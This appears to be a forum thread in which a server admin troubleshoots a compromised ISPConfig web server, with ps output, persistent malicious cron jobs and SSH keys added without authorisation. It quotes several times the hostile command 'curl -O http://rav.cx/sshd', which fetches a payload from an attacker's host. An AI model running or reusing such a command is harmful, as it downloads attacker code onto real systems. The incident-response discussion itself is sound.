Hi all, I saw a very high cpu load in one of a servers of a multi server setup (that holds web only) and saw a cron like: curl http://rav.cx/sshd If you click that link it has a script which is most likely causing this. I can't track down where on earth this started or where is located to remove it and check further. Every time that I kill the process in a second a new one appear. I had to remove completely the curl to fix it temporary. Any help is very much appreciated.
E.g. with the ps command: ps aux | grep curl of course, the malicious process must be running at the time you execute the command.
Sorry for the late reply, I had some problems. Here is the output: root 2140 0.3 0.1 94856 9996 ? S 22:09 0:00 curl -O http://rav.cx/sshd 1 The moment I kill the process it comes up after a second
More details, in the hacked server I get the following suspicious: 2022 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 2026 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 2367 ? S 0:01 /usr/sbin/sshd -DSSL 2568 ? S 0:00 /usr/sbin/CRON -f 2570 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 2574 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 2769 ? S 0:01 /usr/sbin/sshd -DSSL 2931 ? S 0:00 /usr/sbin/CRON -f 2932 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 2934 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 3040 ? S 0:01 /usr/sbin/sshd -DSSL 8672 ? S 0:00 /usr/sbin/CRON -f 8675 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 8679 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 17654 ? S 0:00 /usr/sbin/sshd -DSSL 25900 ? S 0:00 /usr/sbin/CRON -f 25908 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 25915 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 55726 ? S 0:00 /usr/sbin/CRON -f 55730 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 55734 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 85520 ? S 0:00 /usr/sbin/CRON -f 85534 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 85536 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 89782 ? I 0:00 [kworker/u4:2-events_unbound] 89797 ? S 0:00 /usr/sbin/sshd -DSSL 113331 ? S 0:00 /usr/sbin/CRON -f 113341 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 113349 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 118093 ? S 0:00 dovecot/auth 118710 ? S 0:00 /usr/sbin/sshd -DSSL 140478 ? S 0:00 /usr/sbin/CRON -f 140480 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 140484 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 142900 ? S 0:00 /usr/sbin/sshd -DSSL 148059 ? S 0:00 anvil -l -t unix -u -c 148399 ? S 0:00 /usr/sbin/CRON -f 148400 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 148403 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 148467 ? S 0:00 /usr/sbin/sshd -DSSL 148652 ? S 0:00 /usr/sbin/CRON -f 148654 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 148658 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 148726 ? S 0:00 /usr/sbin/sshd -DSSL 148729 ? S 0:00 /usr/sbin/sshd -DSSL 148731 ? S 0:00 /usr/sbin/sshd -DSSL 149087 ? S 0:00 /usr/sbin/CRON -f 149088 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 149091 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 149221 ? S 0:00 /usr/sbin/sshd -DSSL 149275 ? Ss 0:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf) 149276 ? S 0:00 php-fpm: pool www 149277 ? S 0:00 php-fpm: pool www 149290 ? S 0:00 /usr/sbin/CRON -f 149292 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 149296 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 149399 ? S 0:00 /usr/sbin/sshd -DSSL 149545 ? I 0:00 [kworker/1:0-events] 149605 ? S 0:00 /usr/sbin/CRON -f 149606 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 149609 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 149655 ? I 0:00 [kworker/0:1-ata_sff] 149708 ? S 0:00 /usr/sbin/sshd -DSSL 150783 ? S 0:00 /usr/sbin/CRON -f 150788 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 150791 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 150993 ? S 0:00 /usr/sbin/CRON -f 150994 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 150997 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151083 ? S 0:00 smtpd -n submission -t inet -u -c -o stress= -s 2 -o syslog_name=postfix/submission -o smtpd_tls_security_level=encrypt -o smtpd_sasl_aut 151126 ? S 0:00 /usr/sbin/CRON -f 151130 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151133 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151196 ? S 0:00 /usr/sbin/sshd -DSSL 151356 ? S 0:00 /usr/sbin/CRON -f 151359 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151363 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151430 ? S 0:00 /usr/sbin/sshd -DSSL 151575 ? S 0:00 /usr/sbin/CRON -f 151576 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151579 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151637 ? S 0:00 /usr/sbin/sshd -DSSL 151678 ? I 0:00 [kworker/0:2-events] 151774 ? S 0:00 smtpd -n submission -t inet -u -c -o stress= -s 2 -o syslog_name=postfix/submission -o smtpd_tls_security_level=encrypt -o smtpd_sasl_aut 151775 ? S 0:00 proxymap -t unix -u 151782 ? S 0:00 /usr/sbin/CRON -f 151783 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151786 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 151850 ? S 0:00 /usr/sbin/sshd -DSSL 151998 ? S 0:00 cleanup -z -t unix -u -c 151999 ? S 0:00 trivial-rewrite -n rewrite -t unix -u -c 152000 ? S 0:00 local -t unix 152011 ? S 0:00 /usr/sbin/CRON -f 152012 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 152015 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 152070 ? S 0:00 smtpd -n smtp -t inet -u -c -o stress= -s 2 152088 ? S 0:00 /usr/sbin/sshd -DSSL 152138 tty1 Ss 0:00 /bin/login -p -- 152176 tty1 S+ 0:00 -bash 152199 ? I 0:00 [kworker/1:2-events_power_efficient] 152241 ? S 0:00 /usr/sbin/sshd -DSSL 152244 ? S 0:00 /usr/sbin/sshd -DSSL 152401 ? S 0:00 /usr/sbin/CRON -f 152402 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 152407 ? S 0:00 /bin/bash /usr/local/ispconfig/server/server.sh 152408 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 152430 ? S 0:00 curl -O http://rav.cx/sshd 1 152716 ? S 0:00 /usr/sbin/CRON -f 152719 ? Ss 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 152727 ? S 0:00 /bin/bash /usr/local/ispconfig/server/server.sh 152728 ? S 0:00 /bin/sh -c /usr/local/ispconfig/server/server.sh 2>&1 | while read line; do echo `/bin/date` "$line" >> /var/log/ispconfig/cron.log; done 152753 ? S 0:00 curl -O http://rav.cx/sshd 1
Further update, somehow the ssh has been hacked. Every few seconds there is a new ssh-key added to the authorized_keys. To solve this temporary I had to remove ssh, install it again and disable pub key auth and enable again to ask for password. Of course I changed the root password. Any ideas how to troubleshoot this?
Scan the system with Lynis, chkrootkit and rkhunter. But as the attacker seem to have gained root privileges, I fear you will have to install a new server from scratch as cleaning a system where root user has been infected is not easy and often not successful.
I've done already Till the scans with those and nothing. This is very bizzare. I can login with ssh but with remote console so is not a real problem to remove ssh but how on earth is running/generating the authorized_key is what I want to find.
